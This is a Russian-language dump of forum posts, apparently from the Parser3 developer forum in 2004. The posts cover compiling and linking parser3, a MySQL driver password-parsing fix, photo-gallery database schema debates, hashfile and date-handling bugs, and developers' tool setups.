[b]g++[/b]  -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl [b]-lgcc[/b]  -Wl,-Bstatic -Wl,-Bdynamic -lcrypt -lm"
"35734","Если не сложно\
\
Нагрузки бумаю не будет, но всякое возможно."
"35735","А зачем тогда исправили? %-))"
"35736","--with-pathlink\
\
это если вы настаиваете на динамической компоновке.\
но послушайте совета: перейдите на --with-static-gc=\
\
что до науки: когда всё заработает, скажите\
[code]\
ldd parser3\
[/code]\
\
посмотрим, что эдакого было нужно (может оно было динамическим и увидим)."
"35737","Ок, попытаюсь собрать --with-static-gc\
\
Посмотрим, что из этого получится."
"35739","А каким компилятором его собирать нужно?\
gcc\
g++"
"35740","И вообще IT - псвдонаправление деятельности. Все кто связан с компьютерами только притворяются, что работают, а сами нахлебники и разгильдяи.\
И форума этого не существует. Есть только разум, висящий среди пустоты, а все мы - его плохие сны!\
\
:)"
"35742","PAF, а зачем нужно patch накладывать?\
Что он фиксит?"
"35743","А от HomeSite 5.5ские к дримваверу не прекрутить?.. Вроде же одна х..ня! Или я попутал?"
"35744","Собирается он ТОЛЬКО с --with-static-gc\
С --with-shared-gc - не собирается, точнее собирается, но потом не видит libgc.so\
\
Имхо, это не есть правильно. Софт должен собиратся и так и так.\
PAF, это куда смотреть, что бы он собирался с --with-shared-gc?\
\
\
Теперь глюк следующий:\
не собирается с --with-shared-xml & --with-static-xml\
\
Строка компоновки:\
export CPPFLAGS=-I/usr/include/libxml2 -I/usr/local/gdome2/include\
\
gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -L/usr/local/lib -Wl,-Bstatic -lgc -Wl,-Bdynamic /usr/local/gdome2/lib/libgdome.a /usr/local/gdome2/lib/libxslt.a /usr/local/gdome2/lib/libexslt.a /usr/local/gdome2/lib/libxml2.a /usr/lib/libglib.a  -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm\
\
И ещё, почему parser3 не ищет это всё, в стандартных путях типа /usr/lib /usr/include?\
Почему я так думаю?\
\
собрал gdome2 через rpmbuild всё сложилось в /usr/lib /usr/include - parser3 отказался \"видить\" gdome2\
собрал gdome2 из сорцов без указания --prefix'a - всё сложилось в /usr/local/include /usr/local/lib.\
\
Parser3 заметил gdome2 только после того, как я собрал gdome с --prefix=/usr/local/gdome2\
\
IMHO, так не должно быть"
"35745","это нормально. почитайте что-нибудь на тему динамической загрузки .so, пожалуйста.\
\
что делать, чтобы помочь динамическому компоновщику искать libgc.so я написал. перечитайте первую строчку моего сообщения."
"35746","текст сообщения полностью?"
"35747","Прости, забыл\
\
Компоновка:\
gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -L/usr/local/lib -Wl,-Bstatic -lgc -Wl,-Bdynamic /usr/local/gdome2/lib/libgdome.a /usr/local/gdome2/lib/libxslt.a /usr/local/gdome2/lib/libexslt.a /usr/local/gdome2/lib/libxml2.a /usr/lib/libglib.a  -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm\
\
\
[url=\"http://www.deathlife.kiev.ua/paf/config.log\"]config.log[/url]\
[url=\"http://www.deathlife.kiev.ua/paf/make.log\"]make.log[/url]"
"35748",":)\
Ок, почитаем."
"35749","надо патчить. пожалуйста, читайте INSTALL [лежит рядом с configure].\
\
и ещё: вы вроде только что собрали без libxml и выяснили, как надо компоновать?"
"35750","Вряд ли это будет скрипт - это целая система скриптов на Парсере. Я правильно понимаю, что GUI администрирования тоже надо?"
"35751","Без libxml собрал\
\
[b]g++[/b]  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -L/usr/local/lib -Wl,-Bstatic -lgc -Wl,-Bdynamic   -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm\
\
С gcc не собирается, а вот с g++ - собирается\
\
[darkman@shadow cgi]$ ldd parser3\
        /etc/libcwait.so => /etc/libcwait.so (0x00ebb000)\
        linux-gate.so.1 =>  (0x00488000)\
        libdl.so.2 => /lib/libdl.so.2 (0x00bfb000)\
        libcrypt.so.1 => /lib/libcrypt.so.1 (0x02e3c000)\
        libstdc++-libc6.2-2.so.3 => /usr/lib/libstdc++-libc6.2-2.so.3 (0x00b87000)\
        libm.so.6 => /lib/tls/libm.so.6 (0x00bd6000)\
        libc.so.6 => /lib/tls/libc.so.6 (0x00111000)\
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x00aa0000)\
        libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x0022c000)\
\
Вот оно какое.\
[url=\"ftp://ftp.cu.kiev.ua/pub/parser3/parser3-withoutxml.gz\"]Получить[/url] собраный Parser3 для Fecore Core 2"
"35754","Стоит Linux Mandrake 10 весь из себя родной и стандартный.\
AutoConf/AutoMake обновлены до последних версий с gnu.org\
\
Собираю строго \"по бумажке\" драйвер mysql (последняя версия исходников с сайта). Всё собирается замечательно. .so-файл с виду похож на типичного \"эльфа\". Однако при попытке использовать этот драйвер парсер выдаёт ошибку unresolved symbol: __gxx_personality_v0\
\
что бы это могло быть? может какие-то несовместимые параметры gcc/g++ в makefile?\
\
правда стоит заметить, что скомпиленый драйвер с этого сайта вообще  вызывает segmentation fault при попытке запуска, однако на этом же линуксе куча другого софта на С++ собирается и работает на ура..."
"35756","Тебя подкалывают, а ты пафос лепишь :)"
"35764","помогло --with-dynamic-stdcpp\
и параметр -lstdc++ в LDFLAGS"
"35765","Как быть если пароль на MySQL содержит @ ?\
Получается строка коннекта с двумя @ и обрабатывается неверно выдавая ошибку."
"35767","собирайте по-возможности по-простому, без динамической компоновки любых нестандартных библиотек, так ваш бинарник будет работать не только на данной версии системы/данной версии libstdc++.\
\
что до LDFLAGS: в вашем случае это лишнее. --with-dynamic-stdcpp и сам это приписывает: обратите внимание на вашу строку компоновки: у вас там дважды -lstdc++."
"35768","со временем починю.\
если можете, поправьте сами, там тривиальный кусок разбора.\
\
тут\
http://cvsview.parser.ru/cgi/viewcvs.cgi/sql/mysql/parser3mysql.C?rev=HEAD&content-type=text/vnd.viewcvs-markup\
[code]\
char *s=lsplit(user, '@');\
[/code]\
на rsplit заменить и написать этот rsplit."
"35769","Наблюдения показывают, что совокупная стоимость подобного проекта для заказчика, если всё делать ГРАМОТНО, составит порядка $1500 - $2500 и по времени это будет не меньше двух-трёх месяцев. Причём не важно будет ли использован Парсер или что-то другое :)))"
"35771","[code]\
static char *rsplit(char *string, char delim) {\
    if(string) {\
		char *v=strrchr(string, delim);\
		if(v) {\
			*v=0;\
			return v+1;\
		}\
    }\
    return 0;\
}\
[/code]"
"35772","если $file таблица с именами файлов, а $file.name - столбец в этой таблице, то $file.name.html не выдаст имя файла из таблицы с расширением html.\
\
и зачем вообще так извращаться?"
"35773","буковки из pa_common ;)"
"35777","ок, с ценой все понятно, а теперь другой вопрос: Кто это сможет сделать?"
"35779","Вобщем, надо сделать галерею, для фотографий на 250+ пользователей. У каждого может быть разное кол-во фотографий. Страница разбита на 3 колонки: список имён, список провьюшек для выбранного юзера, сама выбранная картинка.\
\
Так вот.\
Нужно сделать бд, в которой хранится вся инфа о фотках каждого пользователя. Не могу организовать структуру. Кроме как на каждого пользователя заводить свою талицу, ничего в голову не лезет.\
\
Помогите. Может, кто знает как упростить.\
\
спс"
"35780","ориентируйтесь по id пользователя и заносите его в таблицу, в одну таблицу ;)"
"35781","Правильно ли моё предположение, что это означает использование отдельной таблицы для каждого пользователя?"
"35782","первая таблица: id записи >> id юзера >> e-mail >> все остальные поля свойств юзера.\
вторая таблица: id записи >> id юзера >> адрес картинки\
Для каждого юзера из второй таблицы выбираете все картинки с id этого юзера. У второй таблицы должен быть индекс по id юзера. во вторую таблицу можете добавить enum поле с признаком - это превьюшка или полная фотка. или можете префиксы в адресах картинок использовать, образуя имена с участием id - по ситуации, в общем.\
Запихать все в одну таблицу теоретически можно, но не стоит."
"35784","create table USERS \
   (ID tinyint AUTO_INCREMENT PRIMARY KEY, \
    NAME VARCHAR(30), \
    ADDRESS VARCHAR(30), \
    BIRTHDAY DATE);\
\
create table IMAGES\
   (ID tinyint AUTO_INCREMENT PRIMARY KEY, \
    USERID tinyint,\
    IMAGE longblob);\
------------\
select USERS.NAME, ..., IMAGES.IMAGE \
   from USERS, IMAGES\
   where USERS.ID = IMAGES.USERID;\
    \
Дмитрий."
"35785","Спасибо всем большое.\
\
Буду делать выборку по id. Сразу не подумал."
"35789","Все лохи! Насоветовали мля! Самый теоретически правильный вариант:\
\
Таблица [b]user:[/b]\
\
user_id (PK)\
...(other attributes)\
\
\
Таблица [b]image:[/b]\
\
path (PK)\
type\
title\
description\
\
\
Таблица [b]user_image:[/b]\
\
user_id, path (PK, FK)\
\
Примечания: path это полный путь вкл. имя каталога. Можно однако этот атрибут разбить на 2 и пользоваться составными ключами.\
\
PS: Дядечка, русский это здорово (сам люблю его), но язык БД тоже не мешает, коль уж взялся ..."
"35793","IMHO последняя таблица нужна только если имеют место связи \"многие ко многим\", однако в исходном ТЗ ничего такого не указывается. Ну и PK вешать на текстовое поле мне тоже представляется не совсем \"теоритически правильным\" решением...\
\
Или нет?"
"35794","а кто сказал что path текстовое поле? varchar самое оно это раз.\
\
Если сейчас и нет такого требования (многие ко многим), то потом оно обязательно появится, да и использовать эту схему можно не только для картинок пользователей, но и для картинок других сущностей - одно из главных свойств любого алгоритма (программы) его универсальность."
"35796","Упростить он просил лишь его неправильные догадки :) Которые надо не упрощать, а переделывать, ну и для профилактики можно и по шее ..."
"35797","такой вот нехитрый кодец:\
[code]\
$hf[^hashfile::open[/test]]\
$hf.key[]\
$s[$hf.key]\
$t[^s.split[-;lh]]\
[/code]\
валит нафиг все. Проверял на 3.1.3 и 3.1.4\
\
В итоге 500 и в журнале ничего толкового:\
\
[Sat Dec 18 17:44:54 2004] [error] [client 127.0.0.1] \
\
[Sat Dec 18 17:44:54 2004] [error] [client 127.0.0.1] This application has requested the Runtime to terminate it in an unusual way.\
\
[Sat Dec 18 17:44:54 2004] [error] [client 127.0.0.1] Please contact the application's support team for more information.\
\
Реально падает на обращении к любому методу s split только для примера тут сделан."
"35798","может лучше во второй таблице сделать image_id (PK), и связывать уже по нему, ведь индекс по двух-трех байтовому int будет занимать гораздо меньше места, чем индекс по varchar(сколько-то), да и работать будет быстрее?"
"35799","если целый image_id будет где-то использоваться, то да, если нет, то это по-сути лишняя сущность и я предпочитаю их избегать."
"35800","Ага. Универсальность это здорово. А лишние сущности - плохо (см. пост ниже). Противоречие наблюдается :) Для решения исходной задачи достаточно двух таблиц. Проще код. Дизайн всегда можно изменить по мере изменения требований."
"35801","Искусство проектирования заключается в том, чтобы видеть чуточку дальше собственного носа (формулировки задачи), не плодя при этом лишнего, что является лишь пустым балластом.\
\
Здесь представляется очевидным, что картинка может принадлежать одновременно нескольким пользователям (сущностям), поэтому разумно сделать универсальный каталог картинок, который к тому же, можно использовать и для других целей.\
\
А вот насчет image_id, - я не могу себе представить как его можно использовать, т.к. по номерам обычно учитывают не картинки, а нечто другое, и если этого нет в формулировке, то и не надо плодить лишний атрибут.\
\
Что-же касается производительности - это классический случай преждевременной оптимизаци. Такие мои взгляды.\
\
PS: Да, - забейте на мои экстравагантные высказывания, - ну такой у меня дурной характер :)."
"35802","[quot]Здесь представляется очевидным, что картинка может принадлежать одновременно нескольким пользователям[/quot]\
\
Особенно это очевидно для случая какого-нибудь сайта знакомств, куда юзер свои собственные фотки заливает :) И из условия задачи это тоже не вытекает с абсолютной очевидностью.\
\
ИМХО, настоящее исскуство - делать максимально простой дизайн, решающий _конкретные_ задачи. Проектировать с учетом будущих возможностей -> усложнение дизайна -> рост вероятности глюков -> рост сроков и стоимости. Завтра заказчик поменял требования, и сделанное впрок не пригодилось. Усложнять имеет смысл только сразу очевидные вещи (в данном случае - 2 таблицы вместо одной, что понятно). Потом же всегда рефакторинг можно сделать.\
\
PS: Сорри за флейм :)"
"35803","по-вашему получается, что лишняя таблица \"на вырост\" это \"искусство проектирования\", а избыточное поле для ускорения выполнения запросов и уменьшения памяти, занимаемой индексами - это \"лишняя сущность\" и \"классический случай преждевременной оптимизации\"? \
Ерунда какая-то, я не согласен."
"35804","собрал парсер3 под фрю, говорю ему:\
test.html\
$f[^file::exec[ls -l]]\
\
./cgi-bin/parser3.cgi test.html\
\
а он молчит, ни в логе, ни в еррор логе апача - ничего :("
"35805","http://aktar.sibarit.ru\
Вполне приличная CMS и вроде как шаблон магазина есть"
"35806","Собственно, прелесть в том и заключается, что в index.html определенного раздела обычно пишется ТОЛЬКО собственно информация, какой-нибудь метод content или body или как угодно еще назовите, т.е. только то, что относится к данной странице. \
Если это \"Контакты\" на сайте -- то в index.html должно быть что-то типа\
[code]\
@content[]\
Привет! Звоните по телефону.\
[/code]\
А все обрамление определяется в auto.p, причем что футеры, что хидеры можно в любом подразделе переопределить."
"35807","1. есть пользоваьели - ДА\
2. у каждого пользователя 0+ фотографий - ДА\
3. у фотографии может быть несколько пользователей - НЕТ\
4. а если может, то зачем - НЕ ЗНАЮ\
\
Вопрос №1. Как идентифицировать пользователя?\
Ответ. По полю login.\
\
Вопрос №2. Как идентифицировать картинку?\
Ответ. Очевидного способа нет. Поэтому лучше всего id.\
\
[code]\
create table 'user'(\
'login' varchar(32) primary key,\
'password' varchar(32) null,\
'name' varchar(100) null\
);\
\
create table 'photo' (\
'login' varchar(32) not null,\
'photoId' int(11) unsigned primary key auto_increment,\
'comment' varchar(250) null,\
'previewExt' enum('gif', 'jpg', 'jpeg', 'png') not null,\
'photoExt' enum('gif', 'jpg', 'jpeg', 'png') not null,\
'width' smallint(5) unsigned not null,\
'height' smallint(5) unsigned not null\
);\
[/code]\
\
Изображения добавляются парами: превью установленого размера и сама фотография. Сохраняются файлы в определённый каталог с именами preview_{photoId}.{previewExt} и photo_{photoId}.{photoExt}.\
\
Если очень хочется, то можно из таблицы photo убрать все поля начиная с previewExt и добавить:\
\
[code]\
...\
'previewId' int(11) unsigned not null,\
'photoId' int(11) unsigned not null\
...\
\
\
create table 'photo_file' (\
'id' int(11) primary key auto_increment,\
'ext' enum('gif', 'jpg', 'jpeg', 'png') not null,\
'width' smallint(5) unsigned not null,\
'height' smallint(5) unsigned not null,\
'data' mediumblob not null\
);\
[/code]\
\
...и хранить изображения прямо в БД.\
\
Красота :)"
"35808","> Вопрос №2. Как идентифицировать картинку?\
> Ответ. Очевидного способа нет. Поэтому лучше всего id.\
\
полный путь или dir + name - это очевидно."
"35809","Во-первых положите этот самый ls в одну папку со скриптом :). Откуда Парсеру знать о том, где он находится?\
Во-вторых \"-l\" - это параметр(аргумент).\
Кусок документации:\
[code]\
^file::exec[имя файла;env_hash;аргументы]\
[/code]\
env_hash можете оставить пустым"
"35810","[quot]\
полный путь или dir + name - это очевидно.\
[/quot]\
\
информаця к размышлению:\
- однажды создатель захочет переместить каталог с фотками в другое место (хранить полный путь в БД - sux)\
- два пользователя наверняка захотял залить фотографию с одинаковым именем 'photo.jpg' (имя файла как ключ - sux)\
- кто-нить наверняка захочет заменить photo.jpg на photo.gif (к тому что имя файла или хотя-бы расширение хранить надо)"
"35811","> - два пользователя наверняка захотял залить фотографию с одинаковым именем 'photo.jpg' (имя файла как ключ - sux)\
\
Ключ составной - dir + filename_with_extension это в файловой системе уникально по определению."
"35812","Страница открывается и говорит:\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, wwwadmin@noff-dies.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
\
Открываю логи парсера, там говорит:\
/home/noffdie/public_html/forum/index.html(13:2): 'header' undefined method [parser.runtime] \
\
Факт в том, что (13:2) - строка пустая. Сначала там был коментарий, потом я его убрал, а результат тот же. Следующей строкой идет вызов ^header[]. В auto.p он прописан.\
\
В чём может быть косяк?"
"35813","так и есть:\
\
$f[^file::exec[./cgi-bin/ls;;-l]]\
\
все равно молчит :("
"35814","А где версия парсера? А где название сервера? и наконец где код?"
"35815","Парсер выдает сообщение следующего вида:\
\
'mysql://uvvr:testpwd@localhost/p3test' $SQL:drivers table must be defined  type: parser.runtime\
\
Локальная версия парсера под винду нормально работает, Юниксовая под Дебиан выдает эту строчку.\
\
Я полный чайник и не пинайте меня ногами сильно. Подозреваю что забыл сделать нечто элементарно простое.\
Помогите уважаемые гуру"
"35817","Стоит FreeBSD 4.9, PostgreSQL 7.5.0, Parser 3.1.4beta.\
Взят из примеров класс авторизации - auth.p последнего разлива\
и соразмерно sql.p и lib.p.\
В логе имеем - \
[Mon Dec 20 11:50:46 2004] /auth/_auth_info.html: d:/htask/classes/sql/pgsql.p(103:14): 'SELECT asession_asession_id_seq.currval' ERROR:  column asession_asession_id_seq.currval does not exist| [sql.execute]\
Лезем в pgsql.p из sql.p ищем @last_insert_id[table]\
меняем на\
# new @last_insert_id[table]\
@last_insert_id[table]\
$result(^int:sql{SELECT currval('${table}_${table}_id_seq')}[$.default{0}])\
#end new @last_insert_id[]"
"35818","Вам именно ls нужен? \
Если да, то ^file:list[] Вам в руки."
"35819","Следующий код нормально работает под windows, но дает пустой hashfile под юниксом. Аргумент word - кириллический, как правило. Он всегда не пустой.\
[code]\
@searchlog[word]\
$slog[^hashfile::open[/custom/userdata/searchlog]]\
$wc[$slog.$word]\
$wc[^wc.int[]]\
$wc(^wc.inc(1))\
$slog.$word[$wc]\
[/code]"
"35820","просто если два пользователя могут попытаться залить две картинки с одинаковыми именами => надо переименовывать для хранения на сервере => image_${id}.$ext ничем не хуже другого имени, при этом индексировать логично по этому id"
"35821","а что означает конструкция:\
$wc(^wc.inc(1))\
?\
\
\
у меня это работает под win/bsd:\
[code]\
@searchlog[word]\
$result(^slog.[$word].int(-1))\
^result.inc(1)\
$slog.$word[$result]\
\
\
@main[]\
$slog[^hashfile::open[/../data/searchlog]]\
$word[мама]\
^searchlog[$word]\
[/code]"
"35822","Парсер 3.1.3\
Операционка - Линукс\
\
Код:\
\
файл index.html\
----------- не считая шапки типа HEADER, TITLE, BODY\
^header[]\
-----------\
\
Файл auto.p\
-----------\
@header[]\
Hello world!\
-----------\
\
.htaccess - стандартный без изменений\
парсер лежит в папке  CGI-BIN\
Права на cgi-файл - 755"
"35823","3.1.3/freebsd - работает\
3.1.4beta/win - Unhandled exception 0xC0000005 at 0x0000B0B0"
"35825","В конце читаем \
$.where[dt >= '^form:year.int(0)-^form:month.int(0)-00' AND dt <= '^form:year.int(0)-^form:month.int(0)-31']\
Естественно не правильно и не работает под PostgreSQL, да и вообще\
не должно. Правильно читаем так\
$.where[^MAIN:pSQL.year[dt] = '^form:year.int(0)' AND ^MAIN:pSQL.month[dt] = '^form:month.int(0)']"
"35826","> а что означает конструкция:\
> $wc(^wc.inc(1))\
> ?\
- это мои тараканы в голове:) конечно, в работающем примере - ^wc.inc[] без присвоения."
"35827","Если $word транслитерировать и удалить всё кроме лат. букв и цифр, работает нормально. Продолжаю копать.\
\
Кстати, вот еще:\
^hashfile.foreach[k;v]{^v.int($default)} почему-то всегда возвращает $default"
"35828","использовать функции в WHERE - sux, надо работать с диапазонами дат. возможно в PgSQL не работает - надо почитать доку и вписать правильную функцию.\
\
поймете когда у вас будет 100 000 записей в БД."
"35829","разве что-то печатает?\
присвоение произошло, на экран вы так и ничего и не вывели.\
\
[code]\
status=$f.status\
text=$f.text\
stderr=$f.stderr\
[/code]"
"35830","тот код что я привел работает на win/p3.1.4beta и freebsd/p3.1.3"
"35833","ну вот видишь - ты и нашел способ применения этого id. Тут я согласен. А то другие все больше болтают :)"
"35834","другие просто предлагают иные решения и не хотят писать лишние 10 строчек кода заранее :)\
\
что касается меня то я тоже делаю аналогично. две таблички меня не устраивают как менее универсальное решение. а так написал один раз класс и использую. \
\
да, в простом случае оно полностью не используется, ну и что? зато когда после создания сайта клиент захотел вдруг шарить картинки или иметь их много - мне не приходится переделывать, потому что все уже было предусмотрено. тут не такой сложный случай когда надо предусматривать на много шагов вперед или когда код сильно усложняется."
"35835","Пацанам не лень писать - они заботятся о производительности http://www.parser.ru/forum/?id=35798 и любят рефакторинг баз данных http://www.parser.ru/forum/?id=35802 и кода с ними работающего."
"35836","А можно как-нибудь сделать так,\
чтобы клиент мог заливать свои файлы на мой FTP через веб...\
\
[quot]Решение одной проблемы порождает новые...[/quot]"
"35837","Вы хотите, чтобы файла загруженные через форму на старнице попали в каталог, который виден по FTP?\
Если я правильно Вас понял, тогда ответ – да.\
В противном случае советую поискать различия (или сходства) между [url=\"http://www.w3.org/Protocols/rfc2616/rfc2616.html\"]HTTP[/url] и [url=\"http://www.w3.org/Protocols/rfc959/\"]FTP[/url]. :)\
\
P.S.: Нужно точнее формулировать свой вопрос."
"35838","1. Создаем таблицу юзеров, каждому присваеваем идентификационный номер.\
2. Создаем таблицу фото, каждой фото присваиваем идентификационный номер.\
3. Создаем третью таблицу, состоящую из двух полей, в одном ID юзера, в другом - фото...\
По ней и отбираем нужную информацию: юзеров по фото, либо наоборот..."
"35839","Да, есть форма :\
\
[code]\
<form method=\"GET\">\
<input type=\"file\" name=\"file\">\
<br>\
<input type=\"submit\" value=\"Send File\">\
</form>\
[/code]\
\
Нужно чтобы пользователь выбрал у себя на компе файл (например свою фотку)\
и при нажатии на кнопку 'Send File'\
этот файл залился ко мне на сайт (FTP) в каталог 'files'..."
"35840","нет, нужен ImageMagick.\
$f[^file::exec[./cgi-bin/convert;; -sample 80x40 ./input.jpg ./output.jpg]]\
\
\
почему-то параметры не передаются, convert выводит сообщение с хелпом, мол нужно делать(usage) так-то...\
\
вот и фиг его знает :("
"35841","все! понял свою ошибку!\
всем спасибо!"
"35842","Александр, а проблема-то ведь была из-за документации:\
^file::cgi[имя файла;env_hash;аргументы]\
\
я бы исправил на:\
^file::cgi[имя файла;env_hash;atr1;atr2;...]"
"35843","В PgSQL есть interval для работы с датами.\
Только я тогда не понял в чем прелесть \
использования переносимого SQL кода с \
использованием pSQL.server о котором так много\
сказанно в твоей статье \"О переносимости SQL запросов\"?\
Тогда в sql.p надо породить метод для работы с интервалами\
дат.\
А задача есть задача. Ну не буду я в новостном разделе хранить\
100 000 записей. Никогда! Сотня и то много.\
Кстати в форуме в subj \"PostgreSQL и класс авторизации из примеров\"\
Вроде на ошибку нарвался. Исправить бы надо.\
AndyNik"
"35844","потому что файлы передаются POST запросоом и в теге <form> для них обязателен атрибут enctype=\"multipart/form-data\".\
\
Про разницу ftp и http вам уже ответили."
"35845","Смотри в документации пример и радуйся!\
http://www.parser.ru/docs/lang/formfield.htm"
"35846","со временем выложу"
"35847","у нас в реальной жизни встретился случай с большим количеством записей (по 20 записей ежедневно только в одном новостном разделе. сайт живет уже 2 года. уже больше 20000 записей). знаете как это тормозило без интервалов?\
\
мне кажется что работа с интервалами дат есть в любом sql сервере, однако про PgSQL я сказать не могу: мы его не используем. приведенный код работает на MySQL, MSSQL и Oracle. для того, для чего мы его используем код переносим. собственно я не утверждаю что он переносим везде, но предлагаемый вами метод его правки неверен, и я расказал почему."
"35849","Насколько я понял, Вам нужно принять файл, а потом отправить его свой FTP, который не обязательно должен находится на этом же сервере, где выводится форма? Так?\
\
Если же HTTP форма закачки файла находится на том же сервере, на котором нужный вам FTP, и у парсера есть доступ в этот каталог, то это проще паренной репы.\
\
Если же FTP - это совсем другой сервер, то насколько я знаю parser с FTP протоколом не работает (своими классами, хотя я не все читал).\
\
Можно конечно еще по другому.\
Принять файл, потом пост`ом отправить его на другой сервак со своим ключом (чтоб ниче туда левые не слали). \
И уже на этом сервер положить его в папку, расшаренную, как ваш FTP. \
\
P.S.: Если это хостинг, то как правило корень FTP-папки соответсвует корню web-пространства.\
\
Если же, FTP - отдельный, и только FTP, То думаю надо прикручивать к парсеру сторонние модули на др. языках. \
(Не понмю сейчас, может LWP для Perl подойдет)"
"35850","Простите просто вмешался в разговор, не понимаю что тут за траблы у вас с датами, боюсь оказаться offtopic, но большинство вычислиений с датами я веду через преобразование UNIX_TIMESTAMP, когда ваше время преобразуется как десятичное число и для арифметического сравнения нет его проще. Не зря ж его в RFC ввели. Правда работает с реальными датами начиная там (не помню) от 70 или 7x какого-то года."
"35851","[url=http://www.parser.ru/forum/?id=35833]по этой ссылке на этом форму выскакивает Unhandled Exeption[/url]"
"35852","В отсутсвие реакции в заброшенном трэде.\
\
Что-то обсуждений виндовых редкаторов много, вы что пишите на локальном хосте, а потом заливаете и проверяете?\
\
Лучше народ поделитесь у кого как локальная среда разарботки на парсере построена?\
\
На винде у меня стоит Linux Red Hat 9.0 под VMware, на нем и Апач и парсер стоит, т.е. все максимально приближено к хостинг-провайдеру.\
\
Ч/з PuTTY(с default-background`ом R:0 G:0 B:187) я вишу на Линуксе в mc (Midnight Commander`e).\
По F4 (edit) стоит cooledit с собственноручной настройкой подсветки html, и parser`a. Конечно Syntax Highlight там скудноват, но ниче, скобки парные подсвечивает.\
\
Вообщем пишу и тут же смотрю результаты работы.\
\
Естественно MySQL есть и вообще все что хошь, це ж Линукс реальный, хоть и под VMware."
"35853","Cервер:\
 - FreeBSD\
 - Apache\
 - MySQL\
 - Samba\
Клиент:\
 - Windows\
 - PuTTY\
 - TotalCommander\
 - EmEditor\
 - FireFox\
 - IE\
 - Mozilla\
 - iTunes :)"
"35854","Far'ом через ftp прямо у хостера, подсветка colorer'ом. \
PhpMyAdmin для mysql.\
Вполне себе удобно.\
Это всё от большой любви к консоли, оставшейся со времён когда файлы были маленнькими, а винды - 3.11-ми.."
"35855","На котором \"Швейцарский ножик\" + MS SQL Server 2005 EE + SQLExecMS. Рабочие инструменты - total commander + aditor."
"35856","Windows XP\
Apache\
MySQL\
PERL\
Image::Magic\
Parser\
IE\
FireFox\
Opera\
Windows Commander\
UltraEdit\
MySQL Control Center\
WinAmp + 25Gb mp3's :)"
"35857","На постоянную работу в крупную компанию требуется web-технолог. Требования: HTML/JS/CSS/XML/XSLT/Parser3/MySQL. \
Обязательно опыт по созданию интерактивных веб-интерфейсов (системы управления контентом и т.п.).\
\
Желательно умение работать c графикой и Macromedia Flash.\
Желательно знание perl/shell и вообще опыта работы под unix.\
\
Зарплата белая по результатам собеседования.\
Резюме высылать на адрес job@elik.ru"
"35859","- XP\
- ImageMagic\
- mp3\
+ W2K\
+ MySQL Front"
"35860","Не пойму баг это или фича, такой код:\
[code]\
@main[]\
$d1[^date::create(2004;12;21)]\
d1: ^d1.unix-timestamp[]<p/>\
$d2[$d1]\
^d2.roll[month](+2)\
d1: ^d1.unix-timestamp[]<br/>\
d2: ^d2.unix-timestamp[]\
[/code]\
\
меняет объект d1 при изменении объекта d2, выводя:\
\
d1: 1103576400\
\
d1: 1108933200\
d2: 1108933200\
\
понятно что работает передача объекта по ссылке и получается что две переменные указывают на одно и то же. Такие штуки приводят к снижению читабельности и увеличению труднообнаруживаемых ошибок. Я потратил 1.5 часа пока понял в чем проблема :(."
"35861","причём если б её не было бы очень плохо."
"35862","http://www.parser.ru/forum/?id=34550"
"35863","Уже успел организовать свою компанию и покрупнеть? :-)"
"35865","без ехидства :)  Удачи тебе"
"35867","Следующий код хотел использовать для вычисления кол-ва дней между определенными датами. \
Если разные дни месяца все в порядке, считает кол-во дней и умножает на нужный мне показатель. \
Если даты типа 2004-04-04 и 2004-05-04, вычисляет не кол-во дней, а кол-во месяцев. Какой параметр и как можно задать, чтобы во всех случаях вычислял только кол-во дней между датами?\
\
[code]\
$date_on[^date::create(${form:year1}-${form:month1}-${form:day1})]\
\
$date_off[^date::create(${form:year}-${form:month}-${form:day})]\
\
$result[^eval(($date_on-$date_off)*($form:amount/7))[%.2f]]\
\
\
[/code]"
"35869","Недавно кто-то предлагал свой класс для этого"
"35870","WinXP\
FreeBSD\
\
IE\
Opera\
FireFox\
\
Apache 3.x\
\
MySQL 3.x 4.X\
MySQL Control Center\
MySQL Front\
\
Parser 3.1\
Python 2.4\
\
UltraEdit 9.10"
"35872","Хоте бы поговорить о теории. Как делаются сайты. С помощью парсера я сделал около 5 сайтов, и еще столько же без него. Это конечно сайты компаний, там нет килотонн посетителей, поэтому как сделан сайт, практически не важно. Главное чтоб отображалось корректно.\
\
Вот теперь подумываю над своем алгоритме создания сайта.\
\
Примерно будет так.\
\
1. Пользователь набирает строку\
http://mysite.ru/folder/sub/\
\
2. modrewrite преобразует ее в переменные.\
\
3. в Site Map ищется соответствующая страничка, находится, ей соответствует шаблон, а также указаны объекты, которые должны включаться в эту страничку в данном шаблоне.\
\
4. Формируется страничка, а затем выводится.\
\
\
